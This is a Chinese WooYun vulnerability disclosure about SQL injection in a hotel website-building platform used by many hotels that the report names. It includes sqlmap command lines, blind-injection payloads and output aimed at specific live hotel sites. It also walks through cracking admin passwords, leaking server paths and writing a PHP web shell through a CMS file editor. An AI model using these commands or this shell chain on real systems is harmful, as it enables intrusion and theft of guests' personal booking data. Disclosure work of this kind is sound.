当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080011

漏洞标题:某通用酒店建站系统 SQL注入( 已getshell)可查订房信息

相关厂商:广州市问途信息技术有限公司

漏洞作者: 小饼仔

提交时间:2014-10-22 16:40

修复时间:2015-01-20 16:40

公开时间:2015-01-20 16:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

该酒店建站系统用户包括单体酒店、集团酒店,集团酒店下面还有很多分店啊啊啊
可以查到用户的客房预订信息,信息包括姓名、电话、邮箱...
用户信息还可以导出、可以给用户推荐邮件等等
通过cms系统中的一个功能来getshell,不容易,花了些功夫
写的好辛苦,这个漏洞要是没 $ ,就再也不相信爱情了

详细说明:

1. 首先介绍下公司
名称: 广州市问途信息技术有限公司
网址:http://www.wintour.cn/
介绍:中国酒店业最为专业的网络营销技术公司,运用互联网技术提升酒店收益,为酒店打造网络直销及客户服务平台以及酒店网络营销服务。包括酒店官方网站,多渠道预订引擎,客户会员营销管理系统,智能手机客户端和社会性媒体营销管理系统等。
keywords:酒店网络营销,酒店网站,酒店网站建设,酒店在线直销,酒店移动互联网营销,智能手机客户端,收益管理系统,预订引擎,微博营销,酒店会员管理,酒店,酒店网站开发,移动营销常客计划
2. 客户群
官网有一些最新的客户案例,如图

客户案例.png


当然这只是一部分,根据官网的案例,得到关键字:技术伙伴:问途酒店网络营销顾问 html, 因为该公司之前好像有做过一套aspx的系统,新系统是php + mysql的,所以加上了个html,下面是搜索结果:

google搜索结果.png


结果不少,这里列举一些例子,证明其通用性:

河南天地粤海酒店	http://www.skyland-hotel.com/
博鳌和悦海景度假酒店 http://www.holliyardhotel.com/
青岛CHINA公社 http://www.chinagongshe.com/
河源市龙源温泉大酒店有限公司 http://www.lyhotspring.com/
成都天府阳光 http://www.tfsunshinehotel.com/
英德仙湖温泉度假区 http://www.singwood.com.cn/
上海御庭集团 http://www.rhgresorts.com/
首旅酒店集团 http://www.btghotels.com/
首旅建国酒店管理有限公司 http://www.hotelsjianguo.com/
成都钓鱼台精品酒店 http://www.dytchengdu.com/
君廷国际酒店集团 http://www.baronyhotels.com/
广东欧亚企业管理集团有限公司  http://www.ouyahotels.com/
湖南湘投阳光集团有限公司 http://www.hnsunshinegroup.com/
厦门建发旅游集团股份有限公司  http://cndhotels.com/
粤海集团 http://www.gdhhotels.com/
通程国际酒店管理有限责任公司 http://www.dolton-hotels.com/
奥园养生酒店 http://www.aoyuanhealthhotel.com/
凯荣都国际酒店 http://www.krdhotel.com/
上海久阳滨江酒店 www.eversunshinehotel.com/
昆泰嘉华酒店 http://www.kuntairoyalhotel.com/
广州远洋宾馆 http://www.oceanhotel.com.cn/
广东东方国际饭店 http://www.mandarinhotelgd.com/get_password.html
青海兴鼎安大酒店 http://www.xingdingan.com/get_password.html
三亚柏瑞精品海景酒店 http://www.sanyabarry.com/get_password.html
南沙奥园养生酒店 http://www.aoyuanhealthhotel.net/special_offer_3.html
广州鸣泉居度假村 http://www.mqjgz.cn/get_password.html
昆山新港湾大酒店 http://www.ksnewporthotel.com/get_password.html
广东东方国际饭店 http://mandarin-hotel.com.cn/get_password.html
北京应物会议中心 http://hy.yingwu.com.cn/get_password.html
北大荒国际饭店 http://www.ebdh-hotel.com/get_password.html
三亚中亚国际大酒店 http://www.joyahotel.com.cn/get_password.html
常州九洲环宇 http://www.eco-hotel.com.cn/get_password.html
广州逸林假日酒店 http://www.easelandhotel.com/get_password.html
广东亚洲国际大酒店 http://www.aihotel.com/get_password.html
桂林桂山华星酒店 http://www.guishanhotel.com/get_password.html
嘉鸿华美达 http://www.ramadaplazagz.com/get_password.html
深圳求水山酒店 http://www.qsshotel.com/get_password.html
最佳西方武汉五月花大酒店 http://www.bwmayflowers.com.cn/get_password.html
常州福记逸高酒店 http://www.happiness-hotel.com/
苏州市冠云大酒店 http://www.glamorhotel.com/get_password.html
三亚宝宏大酒店 http://www.baohonghotel.com/get_password.html
五指山亚泰雨林度假酒店 http://www.wuzhishanyatai.com/get_password.html
广州威尼國际酒店 http://www.vilihotel.com/get_password.html
四会岭南东方酒店 http://www.lndfhotel-sh.com/get_password.html
海南亚泰温泉酒店 http://www.hainanyataihotel.com/get_password.html
佛山铂顿国际公寓 http://www.jbstel.com/get_password.html
青城(豪生)国际酒店 http://www.87198677.com/get_password.html
三亚湾玛格瑞特酒店 http://www.margaretresort.com/get_password.html
江苏省南通市文峰饭店 http://www.wenfenghotel.com/get_password.html
福州永泰香米拉温泉酒店 http://www.ytxml.com/get_password.html
华北电力大厦 http://www.hbdlds.com/get_password.html
北京四川五粮液龙爪树宾馆 http://www.lzshotel.com/get_password.html
广东裕通大酒店有限公司 http://www.gdyutonghotel.com/get_password.html
金燕国际温泉酒店 http://www.jinyanhotspring.com/login.html
山东良友富临大酒店 http://www.sdlyfl.com/get_password.html
红星剧院 http://www.xn--cerp49b31r6wv.com/member_forget.html


漏洞证明:

3. SQL注入
首先是SQL注入,注入点其实很多,
有找回密码处,url特征:

http://网站地址/saas/Guest/getPassword/?jsoncallback=jQuery1910290548698278144_1413611376619&language=zh-cn&client_account=sy_brjp&code=&email=aa%40aa.com&_=1413611376622


登入处,url特征:

http://网站地址/saas/Guest/login/?jsoncallback=jQuery18305360387680120766_1413698031182&code=&account_id=aaa%40aa.com&password=123456&client_account=hn_tdhotel&language=zh-cn&_=1413698195122


查询订单处等等,只要请求中包含了client_account这个参数,都存在注入。
这里以找回密码为例子,这里选几个例子证明通用性,来源包括官网给出的最新案例,和通过搜索引擎找到的例子
官网例子1.河南天地粤海酒店 http://www.skyland-hotel.com/
到网站,点击登入,然后忘记密码,

官网例子1河南天地.png


随便输入一个邮箱,然后burp抓包,请求链接:

http://www.skyland-hotel.com/saas/Guest/getPassword/?jsoncallback=jQuery18305360387680120766_1413698031182&email=wooyun%40wooyun.com&client_account=hn_tdhotel&language=zh-cn&_=1413698837589


丢到SQLMAP中跑,

python sqlmap.py -u "http://www.skyland-hotel.com/saas/Guest/getPassword/?jsoncallback=jQuery18305360387680120766_1413698031182&email=wooyun%40wooyun.com&client_account=hn_tdhotel&language=zh-cn&_=1413698837589"  -p client_account --batch --is-dba  --current-db --current-user --threads 10  -D dossm --tables
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery18305360387680120766_1413698031182&[email protected]&client_account=hn_tdhotel' AND 7081=7081 AND 'jXPH'='jXPH&language=zh-cn&_=1413698837589
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: jsoncallback=jQuery18305360387680120766_1413698031182&[email protected]&client_account=hn_tdhotel' AND SLEEP(5) AND 'nnxL'='nnxL&language=zh-cn&_=1413698837589
---
back-end DBMS: MySQL 5.0.11
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True
[14:15:32] [INFO] fetching database names
[14:15:32] [INFO] fetching number of databases
[14:15:32] [INFO] resumed: 360
[14:15:32] [INFO] retrieving the length of query output
[14:15:32] [INFO] resumed: 18
[14:15:32] [INFO] resumed: information_schema
[14:15:32] [INFO] retrieving the length of query output
[14:15:32] [INFO] resumed: 14
[14:15:32] [INFO] resumed: base_pay_tmpl1
[14:15:32] [INFO] retrieving the length of query output
[14:15:32] [INFO] resumed: 15
[14:15:32] [INFO] resumed: base_pay_tmpl15
360个数据库,篇幅原因不列了
[14:37:24] [INFO] fetching tables for database: 'dossm'
[14:37:24] [INFO] fetching number of tables for database 'dossm'
[14:37:24] [INFO] retrieved: 63
[14:37:26] [INFO] retrieving the length of query output
[14:37:26] [INFO] retrieved: 15
[14:37:38] [INFO] retrieved: tbl_barcode_log
[14:37:38] [INFO] retrieving the length of query output
[14:37:38] [INFO] retrieved: 11
数据库dossm, 有63个表,不全列了


官网例子2.君廷酒店及度假村集团 http://www.baronyhotels.com/member.html

官网例子2.png


http://www.baronyhotels.com/saas/Guest/getPassword/?jsoncallback=jQuery183091423977073282_1413701179987&language=zh-cn&client_account=bc_group&email=aaa%40aa.com&_=1413701192852


python sqlmap.py -u "http://www.baronyhotels.com/saas/Guest/getPassword/?jsoncallback=jQuery183091423977073282_1413701179987&language=zh-cn&client_account=bc_group&email=aaa%40aa.com&_=1413701192852" --is-dba --current-db  --current-user --threads 10 --batch --dbs -p client_account

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery183091423977073282_1413701179987&language=zh-cn&client_acc
ount=bc_group' AND 9376=9376 AND 'RPyV'='RPyV&[email protected]&_=1413701192852
---
back-end DBMS: MySQL 5
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True
[14:57:06] [INFO] fetching database names
[14:57:06] [INFO] fetching number of databases
[14:57:06] [INFO] resumed: 360
[14:57:06] [INFO] retrieving the length of query output
[14:57:06] [INFO] resumed: 18
[14:57:06] [INFO] resumed: information_schema
[14:57:06] [INFO] retrieving the length of query output
[14:57:06] [INFO] resumed: 14
[14:57:06] [INFO] resumed: base_pay_tmpl1
[14:57:06] [INFO] retrieving the length of query output


搜索引擎例子1: 海南亚泰温泉酒店 http://www.hainanyataihotel.com/get_password.html
验证码,只在前端验证,可绕过

搜索引擎例子1.png


http://www.hainanyataihotel.com/saas/Guest/getPassword/?jsoncallback=jQuery19106708567193709314_1413701355601&language=zh-cn&client_account=hn_ytwq&code=&email=aaa%40aaa.com&_=1413701355604


python sqlmap.py -u "http://www.hainanyataihotel.com/saas/Guest/getPassword/?jsoncallback=jQuery19106708567193709314_1413701355601&language=zh-cn&client_account=hn_ytwq&code=&email=aaa%40aaa.com&_=1413701355604"  -p client_account --batch --is-dba  --current-db --current-user --threads 10  --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery19106708567193709314_1413701355601&language=zh-cn&client_a
ccount=hn_ytwq' AND 6097=6097 AND 'tiqT'='tiqT&code=&[email protected]&_=1413701355604
---
back-end DBMS: MySQL 5
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True
[15:01:14] [INFO] fetching database names
[15:01:14] [INFO] fetching number of databases
[15:01:14] [INFO] retrieved: 360
[15:01:17] [INFO] retrieving the length of query output
[15:01:17] [INFO] retrieved: 18
[15:01:35] [INFO] retrieved: information_schema
[15:01:35] [INFO] retrieving the length of query output


搜索引擎例子2: 福州永泰香米拉温泉酒店 http://www.ytxml.com/get_password.html
验证码,只在前端验证,可绕过

搜索引擎例子2.png


http://www.ytxml.com/saas/Guest/getPassword/?jsoncaback=jQuery19104607683657668531_1413701675188&language=zh-cn&client_account=fz_ytxml&cod&email=aaa%40aaa.com&_=1413701675191


python sqlmap.py -u "http://www.ytxml.com/saas/Guest/getPassword/?jsoncaback=jQuery19104607683657668531_1413701675188&language=zh-cn&client_account=fz_ytxml&cod&email=aaa%40aaa.com&_=1413701675191" --is-dba --current-db  --current-user --threads 10 --batch --dbs -p client_account
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: client_account
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jsoncallback=jQuery19104607683657668531_1413701675188&language=zh-cn&client
ccount=fz_ytxml' AND 7780=7780 AND 'PnpY'='PnpY&code=&[email protected]&_=1413701675191
---
back-end DBMS: MySQL 5
current user: 'dOsSM2012@%'
current database: 'dossm'
current user is DBA: True
[15:12:13] [INFO] fetching database names
[15:12:13] [INFO] fetching number of databases
[15:12:13] [INFO] resumed: 360
[15:12:13] [INFO] retrieving the length of query output
[15:12:13] [INFO] resumed: 18
[15:12:13] [INFO] resumed: information_schema
[15:12:13] [INFO] retrieving the length of query output
[15:12:13] [INFO] resumed: 14


4. getshell
找到SQL注入后,想了想,不拿到shell不是好漏洞。所以开始通过sqlmap去getshell,发现用户没有写权限。所以就去找找后台,google发现后台链接,是官网地址的www换成cms,大部分例子都可以按照这个规则找到后台登入地址。例子有
http://www.skyland-hotel.com/ http://cms.skyland-hotel.com/Login/login
http://www.holliyardhotel.com/ http://cms.holliyardhotel.com/Login/login
http://www.tfsunshinehotel.com/ http://cms.tfsunshinehotel.com/Login/login
http://www.singwood.com.cn/ http://cms.singwood.com.cn/Login/login
http://www.rhgresorts.com/ http://cms.rhgresorts.com/Login/login
http://www.btghotels.com/ http://cms.btghotels.com/Login/login
http://www.hotelsjianguo.com/ http://cms.hotelsjianguo.com/Login/login
http://www.ouyahotels.com/ http://cms.ouyahotels.com/Login/login
http://www.hnsunshinegroup.com/ http://cms.hnsunshinegroup.com/Login/login
http://cndhotels.com/ http://cms.cndhotels.com/Login/login
http://www.gdhhotels.com/ http://cms.gdhhotels.com/Login/login
http://www.dolton-hotels.com/ http://cms.dolton-hotels.com/Login/login
http://www.aoyuanhealthhotel.com/ http://cms.aoyuanhealthhotel.com/
http://www.krdhotel.com/ http://cms.krdhotel.com/
www.eversunshinehotel.com/ http://cms.eversunshinehotel.com/Login/login
http://www.kuntairoyalhotel.com/ http://cms.kuntairoyalhotel.com/Login/login
等等
界面类似:

后台1.png


后台2.png


那么问题来了,学挖掘机技术哪家强(账号密码是什么)?
经过寻找,发现数据库dossm中的表tbl_user保存的是账号密码,密码加密了,破解后
找到几个弱密码的通用账号,

mask 区域
*****ng gr*****
*****reen*****
*****ng 12*****
*****n 123*****
***** 12*****


随便找几个网站后台登入

登入系统.png


登入系统2.png


登入系统3.png


然后我们简单看下系统的功能:

管理员账户.png


会员导出.png


订单管理.png


订单详情.png


登入系统后,找找有什么地方可以上传shell,找了一圈,发现都是上传图片,后台也做了限制。不甘心,再找了找,发现有一个地方有点希望,可以上传.php后缀文件,还可以写文件,之后会介绍。
<poc>
我们先来看一下getshell的几个条件,
1. 需要找到外界可以访问的url路径
2. 可以找到url路径对应的绝对路径,并且该路径可写
这里随便找一个系统为例,其他同理,
首先我们来找条件1,
cms系统中找到任意一个可以上传图片的位置

getshell 第一步.png


点击图片,发现可以直接从外部访问

getshell 第二步.png


那么再找到该url对应的绝对路径,点击浏览选择

getshell 第3步.png


出现

getshell 第4步.png


burp请求

响应.png


响应暴露绝对路径

响应2.png


http://www.mqjgz.cn/public/images/53264b86d4322.700x400.jpg
对应
/home/wintour_web/pay_client.root/gz_mjdjc/public/images/53264b86d4322.700x400.jpg
那么,我们只要将shell写入
/home/wintour_web/pay_client.root/gz_mjdjc/public/images/heiha.php
就可以通过
http://www.mqjgz.cn/public/images/heiha.php 访问


因为这里不能直接上传php后缀的文件,那么需要通过其他方式,经过寻找发现,
有一处位置可以写文件,且对文件后缀没有做限制,如图
(此处,其他系统可以构造url: htpp://cms网址/Website/languageFile,进入即可,如http://cms.mqjgz.cn/Website/languageFile,http://cms.cndhotels.com/Website/languageFile,
http://cms.baohonghotel.com/Website/languageFile)

getshell 第5步.png


我们来看一下burp请求,

getshell 第6步.png


getshell 第7步.png

getshell 第8步.png


那么我们的shell地址就是,http://www.mqjgz.cn/public/upload/20141018/heiha.php
用菜刀连接之,密码xxx
</poc>

getshell 第9步.png


再看几个其他shell

shell.png


shell2.png

修复方案:

你懂得~

版权声明:转载请注明来源 小饼仔@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝